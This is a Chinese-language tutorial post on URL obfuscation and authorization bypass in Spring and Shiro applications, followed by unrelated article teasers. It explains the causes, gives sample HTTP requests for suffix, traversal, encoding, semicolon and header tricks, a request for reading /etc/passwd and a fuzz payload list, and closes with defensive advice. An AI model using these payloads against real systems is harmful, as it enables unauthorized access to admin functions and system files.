URL混淆與權限繞過技術


一、漏洞原理
  1. 前后端路徑解析邏輯不一致

    • 后端框架(Spring/Shiro)自動處理特殊字符(..///),但鑒權組件(如Filter)未規范化原始URI。

    • 示例/system/login/../admin被Filter誤判為白名單路徑/system/login,實際解析為/admin

  2. 后綴白名單機制

    • 對靜態資源后綴(.json.css)的請求未校驗權限,如/api/user.json繞過鑒權。

  3. 分隔符截斷邏輯

    • 分號;分割參數導致后端忽略后續內容,如/admin;123僅校驗/admin部分。


二、繞過技術分類
1. 資源后綴混淆
  • 靜態后綴追加:

?GET /admin/main.css HTTP/1.1  # 利用白名單繞過鑒權

動態參數偽裝

  • ?GET /admin?callback=test.json HTTP/1.1  # 參數偽裝為靜態資源
2. 路徑構造與編碼
  • 目錄遍歷(../跳轉):

?GET /system/login/../../admin HTTP/1.1  # 結合白名單路徑繞過

URL編碼混淆

??GET /system/%2e%2e/admin HTTP/1.1  # 編碼`.`繞過過濾

多斜杠干擾

  • ?GET ///admin//user HTTP/1.1  # 后端解析為`/admin/user`,但Filter未匹配
3. 協議特性與分隔符利用
  • 分號截斷:

?GET /admin;%09/user HTTP/1.1  # 分號后內容被忽略

HTTP方法篡改

  • ?HEAD /admin HTTP/1.1  # 后端僅校驗POST/PUT方法
4. 標頭偽造與參數控制
  • X-Original-URL濫用:

?GET /public-page HTTP/1.1 ?X-Original-URL: /admin  # 后端信任標頭覆蓋路徑

參數提權

  • ?POST /user/update HTTP/1.1 ?{ "role_id": 2 }  # 后端未校驗客戶端提交的權限參數

三、實戰案例
  1. Shiro權限繞過

    • 漏洞場景:構造/admin;%09繞過路徑匹配邏輯。

      Payload:

  • ?GET /admin;jsessionid=xxx HTTP/1.1  # 分號截斷繞過鑒權

Spring Security配置缺陷

  • 漏洞場景antMatchers("/admin")未覆蓋子路徑,訪問/admin//admin.json繞過。

  • 修復方案:使用/admin/**或啟用mvcMatchers嚴格匹配。

路徑編碼繞過

  • 攻擊過程:

    • ?GET /%2e%2e/etc/passwd HTTP/1.1  # URL編碼繞過過濾
    • 結果:成功讀取系統敏感文件。


四、防御策略
  1. 路徑規范化處理

    • 使用request.getServletPath()替代getRequestURI(),避免解析差異。

  2. 統一鑒權框架

    • 強制RBAC模型校驗,禁止依賴單一維度(如URL或方法)。

  3. 后綴白名單限制

    • 動態接口禁用.json.css等靜態資源后綴。

  4. 輸入過濾與編碼

    • 攔截../;%u等高危字符,解碼后二次校驗。

  5. 日志與監控

    • 記錄含非標頭(如X-Original-URL)的請求,告警異常路徑訪問。


五、Fuzz字典與工具
  • 常用Payload:

  • ?; . .. / // %2e %0a %0d %09 .json .css /..;/ /%2e%2e/
  • 自動化工具:

    • Burp Intruder:批量測試路徑混淆組合。

    • FFuf:快速遍歷后綴與編碼變體。


核心總結

  1. 繞過技術核心

    • 利用分號截斷、路徑跳轉、多斜杠干擾、編碼混淆等手段制造前后端解析差異。

    • 偽造標頭(如X-Original-URL)或參數篡改直接繞過權限校驗。

  2. 框架特性風險

    • Shiro的分號解析邏輯、Spring Security的路徑匹配缺陷是常見漏洞來源。

  3. 防御核心原則

    • 路徑處理標準化、權限校驗多維度化、輸入過濾嚴格化。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/78894.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/78894.shtml
英文地址,請注明出處:http://en.pswp.cn/web/78894.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Redis卸載重裝教程

卸載 找到redis安裝目錄 cmd打開該目錄,輸入 redis-server --service-uninstall運行結果如下 最后再刪除redis文件夾即可(如果顯示該文件夾已在其他地方被打開而無法刪除,可以重啟一下電腦,就能正常刪除啦) 安裝R…

使用OpenCV 和 Dlib 實現人臉融合技術

文章目錄 引言一、技術概述二、環境準備三、關鍵代碼解析1. 人臉關鍵點定義2. 獲取人臉掩模3. 計算仿射變換矩陣4. 檢測并提取人臉關鍵點5. 顏色校正 四、完整流程五、效果展示六、總結 引言 本文將介紹如何使用Python、OpenCV和dlib庫實現人臉融合技術,將一張人臉…

skywalking服務安裝與啟動

skywalking服務安裝并啟動 1、介紹2、下載apache-skywalking-apm3、解壓縮文件4、創建數據庫及用戶5、修改配置文件6、下載 MySQL JDBC 驅動7、啟動 OAP Serve,需要jkd11,需指定jkd版本,可以修改文件oapService.sh8、啟動 Web UI,需要jkd11,需指定jkd版本,可以修改文件oapServi…

計算方法實驗四 解線性方程組的間接方法

【實驗性質】 綜合性實驗。 【實驗目的】 掌握迭代法求解線性方程組。 【實驗內容】 應用雅可比迭代法和Gauss-Sediel迭代法求解下方程組: 【理論基礎】 線性方程組的數值解法分直接算法和迭代算法。迭代法將方程組的求解轉化為構造一個向量序列&…

G919-GAS軟件 JSON格式數據通訊協議-陣列數據解析

G919-GAS軟件 JSON格式數據通訊協議-陣列數據解析 版本記錄 DateAuthorVersionNote2024.04.07Dog TaoV1.0發布通訊協議。2025.05.06Dog TaoV1.11. 增加了【高速采樣】模式下的通訊協議。2. 增加了“軟件開發建議”小節。 文章目錄 G919-GAS軟件 JSON格式數據通訊協議-陣列數據…

TCGA數據庫臨床亞型可用!貝葉斯聚類+特征網絡分析,這篇 NC 提供的方法可以快速用起來了!

生信堿移 貝葉斯網絡聚類 CANclust是一種基于貝葉斯的聚類方法,系統性地對基因突變、細胞遺傳學信息和臨床指標進行聯合建模,用于多種模態數據的聯合聚類分析,并識別在患者群體中反復出現的特征模式。 個體的遺傳與環境背景決定其應對疾病的…

【算法】隨機快速排序和隨機選擇算法

文章目錄 1、隨機快速排序1.1 什么是隨機快排1.2 隨機快排的好處 2、隨機選擇算法 前言: 快速排序就是每次劃分前,通過一種方法將一個基準值的位置確定好,再進入不同的部分重復相同的工作以此確定好每個值的位置以達到有序。如果你之前并不了…

網絡技術基礎,NAT,橋接,交換機,路由器

什么是NAT Network Address Translation(網絡地址轉換),它負責將目標IP或源IP進行了改變,相當于一個中間代理,我們家庭常用的路由器就是一個NAT設備,NAT是為了解決IPv4的IP地址快要耗盡的問題,…

DVWA靶場保姆級通關教程--03CSRF跨站請求偽造

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄 目錄 文章目錄 前言 一、low級別的源碼分析 二、medium級別源碼分析 安全性分析 增加了一層 Referer 驗證: 關鍵點是:在真實的網絡環境中&a…

【Ansible自動化運維實戰:從Playbook到負載均衡指南】

本文是「VagrantVirtualBox虛擬化環境搭建」的續篇,深入探索Ansible在自動化運維中的核心應用: ? Ansible核心技能:Playbook編寫、角色(Roles)模塊化、標簽(Tags)精準控制 ? 實戰場景覆蓋&a…

基于STM32、HAL庫的STC31-C-R3氣體傳感器驅動程序設計

一、簡介: STC31-C-R3是Sensirion公司推出的一款基于CMOSens技術的CO2傳感器,具有以下特點: 測量范圍:0-100%體積濃度 I2C數字接口 低功耗設計 高精度和長期穩定性 小尺寸封裝(5mm x 5mm) 二、硬件接口: STC31-C-R3 STM32L4xx ---------------------------- VDD (P…

Nginx篇之限制公網IP訪問特定接口url實操

一、nginx配置限制IP訪問 要在 Nginx 配置中添加 IP 限制,阻止來自指定公網 IP 地址段的訪問,并且只對特定路徑進行限制,可以在 location 配置中使用 deny 和 allow 指令來控制訪問。 二、案例 1. 需求 對來自特定公網的地址段&#xff0…

算法研習:無重復字符的最長子串問題剖析

算法研習:無重復字符的最長子串問題剖析 一、引言 在算法的廣袤天地中,字符串相關問題一直是備受關注的焦點。“無重復字符的最長子串”這一問題,不僅在面試中頻繁出現,更是對算法思維和編程技巧的一次深度考驗。它要求我們從給定字符串中找出不含有重復字符的最長子串的長…

Spring Cloud Gateway路由+斷言+過濾

目錄 介紹核心功能三大核心Route以服務名動態獲取URLPredicate常用斷言Path Route PredicateAfter Route PredicateBefore Route PredicateBetween Route PredicateCookie Route PredicateHeader Route PredicateHost Route PredicateQuery Route PredicateRemoteAddr Route Pr…

springboot集成langchain4j記憶對話

流式輸出 LLM 一次生成一個標記(token),因此許多 LLM 提供商提供了一種方式,可以逐個標記地流式傳輸響應,而不是等待整個文本生成完畢。 這顯著改善了用戶體驗,因為用戶不需要等待未知的時間,幾…

【SpringCloud GateWay】Connection prematurely closed BEFORE response 報錯分析與解決方案

一、背景 今天業務方調用我們的網關服務報錯: Connection prematurely closed BEFORE response二、原因分析 三、解決方案 第一步: 增加 SCG 服務的JVM啟動參數,調整連接獲取策略。 將連接池獲取策略由默認的 FIFO(先進先出)變更為 LIFO&#xff08…

使用ZYNQ芯片和LVGL框架實現用戶高刷新UI設計系列教程(第十一講)

這一期講解lvgl中下拉框的基礎使用,下拉列表允許用戶從選項列表中選擇一個值,下拉列表的選項表默認是關閉的,其中的選項可以是單個值或預定義文本。 當單擊下拉列表后,其將創建一個列表,用戶可以從中選擇一個選項。 當…

【神經網絡與深度學習】VAE 在解碼前進行重參數化

在 VAE 中,解碼之前進行重參數化主要有以下幾個重要原因: 可微分性 在深度學習里,模型是通過反向傳播算法來學習的,而這需要計算梯度。若直接從潛在變量的分布 (q_{\theta}(z|x))(由編碼器輸出的均值 (\mu) 和方差 (…

BBDM學習筆記

1. configs 1.1 LBBDM: Latent BBDM [readme]

mysql主從復制搭建,并基于?Keepalived + VIP實現高可用

以下是基于 ?Keepalived VIP? 實現 MySQL 主從復制高可用的詳細步驟,涵蓋主從復制搭建與故障自動切換: 一、MySQL 主從復制搭建(基礎步驟回顧) 1. ?主庫(Master)配置? 修改配置文件? /etc/my.cnf&…